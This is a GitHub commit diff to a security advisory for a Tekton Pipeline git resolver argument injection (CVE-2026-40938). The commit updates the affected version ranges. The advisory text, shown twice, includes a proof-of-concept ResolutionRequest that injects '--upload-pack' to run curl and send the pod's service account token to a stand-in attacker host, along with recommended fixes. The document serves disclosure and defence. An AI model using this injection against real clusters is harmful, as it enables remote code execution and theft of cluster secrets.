Skip to content

Commit 453b9bc

Browse files
Merge pull request #7597 from waveywaves/fix-GHSA-94jr-7pqp-xhcq-multi-branch-patches
2 parents 589adab + 69d0b01 commit 453b9bc

1 file changed

Lines changed: 81 additions & 8 deletions

File tree

advisories/github-reviewed/2026/04/GHSA-94jr-7pqp-xhcq/GHSA-94jr-7pqp-xhcq.json

Lines changed: 81 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-94jr-7pqp-xhcq",
4-
"modified": "2026-04-24T21:10:40Z",
4+
"modified": "2026-05-05T10:00:00Z",
55
"published": "2026-04-21T20:28:36Z",
66
"aliases": [
77
"CVE-2026-40938"
88
],
99
"summary": "Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE",
10-
"details": "## Summary\n\nThe git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.\n\n## Details\n\n### Root Cause 1 — Unvalidated `revision` parameter passed to `git fetch`\n\n`pkg/resolution/resolver/git/repository.go:85`:\n\n```go\n// pkg/resolution/resolver/git/repository.go lines 84-96\n// 'revision' is the raw user-supplied string from the ResolutionRequest param.\n// It is passed verbatim as a positional argument to git fetch:\nfunc (repo *repository) checkout(ctx context.Context, revision string) error {\n _, err := repo.execGit(ctx, \"fetch\", \"origin\", revision, \"--depth=1\")\n // When revision == \"--upload-pack=/usr/bin/curl\", git parses it as the\n // --upload-pack flag, not as a refspec — executing the binary locally.\n if err != nil {\n return fmt.Errorf(\"fetch: %w\", err)\n }\n _, err = repo.execGit(ctx, \"checkout\", \"FETCH_HEAD\")\n return err\n}\n```\n\n`execGit` invokes `exec.CommandContext(\"git\", ...)` — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = \"--upload-pack=/path/to/binary\"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418–424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all.\n\n### Root Cause 2 — `validateRepoURL` explicitly permits local filesystem paths\n\n`pkg/resolution/resolver/git/resolver.go:154-158`:\n\n```go\n// validateRepoURL validates if the given URL is a valid git, http, https URL or\n// starting with a / (a local repository).\nfunc validateRepoURL(url string) bool {\n pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`\n re := regexp.MustCompile(pattern)\n return re.MatchString(url)\n}\n```\n\nAny URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL.\n\n### Exploit Chain\n\n`--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`).\n\nAttack complexity is High because the exploit requires either:\n- A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or\n- A default-URL configuration pointing at a local path\n\n## PoC\n\n```bash\n# Step 1: Set up a local git repository to serve as the \"origin\"\n# (in a real attack, the attacker would time this against a concurrent clone\n# or use any pre-existing git repo path on the resolver pod)\ngit init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m \"init\"\n\n# Step 2: Craft a ResolutionRequest with injected --upload-pack flag\nkubectl create -f - <<'EOF'\napiVersion: resolution.tekton.dev/v1beta1\nkind: ResolutionRequest\nmetadata:\n name: revision-injection-poc\n namespace: default\n labels:\n resolution.tekton.dev/type: git\nspec:\n params:\n - name: url\n value: /tmp/localrepo\n - name: revision\n value: \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)\"\n - name: pathInRepo\n value: README.md\nEOF\n\n# The resolver pod executes:\n# git -C <tmpdir> fetch origin \\\n# \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/...\" \\\n# --depth=1\n#\n# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):\n# git -C <tmpdir> fetch origin \"--upload-pack=/bin/sh\" --depth=1\n# Executes /bin/sh with the local repository path as argv[1].\n# From /bin/sh, the attacker can use a pre-staged script (e.g., written\n# via a workspace volume) to achieve arbitrary command execution.\n```\n\n**Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.\n\n## Impact\n\n- **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod.\n- **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.\n- **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.\n- Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected.\n\n## Recommended Fix\n\n**Fix 1 — Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`:\n\n```go\nif strings.HasPrefix(paramsMap[RevisionParam], \"-\") {\n return nil, fmt.Errorf(\"invalid revision %q: must not begin with '-'\", paramsMap[RevisionParam])\n}\n```\n\n**Fix 2 — Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag):\n\n```go\nfunc validateRepoURL(url string) bool {\n pattern := `^([^@]+@[^:]+|(git|https?)://)`\n re := regexp.MustCompile(pattern)\n return re.MatchString(url)\n}\n```\n\nApplying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.",
10+
"details": "## Summary\n\nThe git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.\n\n## Details\n\n### Root Cause 1 \u2014 Unvalidated `revision` parameter passed to `git fetch`\n\n`pkg/resolution/resolver/git/repository.go:85`:\n\n```go\n// pkg/resolution/resolver/git/repository.go lines 84-96\n// 'revision' is the raw user-supplied string from the ResolutionRequest param.\n// It is passed verbatim as a positional argument to git fetch:\nfunc (repo *repository) checkout(ctx context.Context, revision string) error {\n _, err := repo.execGit(ctx, \"fetch\", \"origin\", revision, \"--depth=1\")\n // When revision == \"--upload-pack=/usr/bin/curl\", git parses it as the\n // --upload-pack flag, not as a refspec \u2014 executing the binary locally.\n if err != nil {\n return fmt.Errorf(\"fetch: %w\", err)\n }\n _, err = repo.execGit(ctx, \"checkout\", \"FETCH_HEAD\")\n return err\n}\n```\n\n`execGit` invokes `exec.CommandContext(\"git\", ...)` \u2014 no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = \"--upload-pack=/path/to/binary\"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418\u2013424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all.\n\n### Root Cause 2 \u2014 `validateRepoURL` explicitly permits local filesystem paths\n\n`pkg/resolution/resolver/git/resolver.go:154-158`:\n\n```go\n// validateRepoURL validates if the given URL is a valid git, http, https URL or\n// starting with a / (a local repository).\nfunc validateRepoURL(url string) bool {\n pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`\n re := regexp.MustCompile(pattern)\n return re.MatchString(url)\n}\n```\n\nAny URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL.\n\n### Exploit Chain\n\n`--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked \u2014 but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`).\n\nAttack complexity is High because the exploit requires either:\n- A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or\n- A default-URL configuration pointing at a local path\n\n## PoC\n\n```bash\n# Step 1: Set up a local git repository to serve as the \"origin\"\n# (in a real attack, the attacker would time this against a concurrent clone\n# or use any pre-existing git repo path on the resolver pod)\ngit init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m \"init\"\n\n# Step 2: Craft a ResolutionRequest with injected --upload-pack flag\nkubectl create -f - <<'EOF'\napiVersion: resolution.tekton.dev/v1beta1\nkind: ResolutionRequest\nmetadata:\n name: revision-injection-poc\n namespace: default\n labels:\n resolution.tekton.dev/type: git\nspec:\n params:\n - name: url\n value: /tmp/localrepo\n - name: revision\n value: \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)\"\n - name: pathInRepo\n value: README.md\nEOF\n\n# The resolver pod executes:\n# git -C <tmpdir> fetch origin \\\n# \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/...\" \\\n# --depth=1\n#\n# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):\n# git -C <tmpdir> fetch origin \"--upload-pack=/bin/sh\" --depth=1\n# Executes /bin/sh with the local repository path as argv[1].\n# From /bin/sh, the attacker can use a pre-staged script (e.g., written\n# via a workspace volume) to achieve arbitrary command execution.\n```\n\n**Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.\n\n## Impact\n\n- **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod.\n- **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.\n- **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens \u2014 reading them enables lateral movement to cloud infrastructure.\n- Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected.\n\n## Recommended Fix\n\n**Fix 1 \u2014 Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`:\n\n```go\nif strings.HasPrefix(paramsMap[RevisionParam], \"-\") {\n return nil, fmt.Errorf(\"invalid revision %q: must not begin with '-'\", paramsMap[RevisionParam])\n}\n```\n\n**Fix 2 \u2014 Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag):\n\n```go\nfunc validateRepoURL(url string) bool {\n pattern := `^([^@]+@[^:]+|(git|https?)://)`\n re := regexp.MustCompile(pattern)\n return re.MatchString(url)\n}\n```\n\nApplying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",
@@ -25,17 +25,90 @@
2525
"type": "ECOSYSTEM",
2626
"events": [
2727
{
28-
"introduced": "1.0.0"
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.2"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/tektoncd/pipeline"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "1.1.0"
48+
},
49+
{
50+
"fixed": "1.3.4"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Go",
59+
"name": "github.com/tektoncd/pipeline"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "1.4.0"
67+
},
68+
{
69+
"fixed": "1.6.2"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "Go",
78+
"name": "github.com/tektoncd/pipeline"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "1.7.0"
86+
},
87+
{
88+
"fixed": "1.9.3"
89+
}
90+
]
91+
}
92+
]
93+
},
94+
{
95+
"package": {
96+
"ecosystem": "Go",
97+
"name": "github.com/tektoncd/pipeline"
98+
},
99+
"ranges": [
100+
{
101+
"type": "ECOSYSTEM",
102+
"events": [
103+
{
104+
"introduced": "1.10.0"
29105
},
30106
{
31107
"fixed": "1.11.1"
32108
}
33109
]
34110
}
35-
],
36-
"database_specific": {
37-
"last_known_affected_version_range": "<= 1.11.0"
38-
}
111+
]
39112
}
40113
],
41114
"references": [
@@ -65,4 +138,4 @@
65138
"github_reviewed_at": "2026-04-21T20:28:36Z",
66139
"nvd_published_at": "2026-04-21T21:16:46Z"
67140
}
68-
}
141+
}

0 commit comments

Comments
 (0)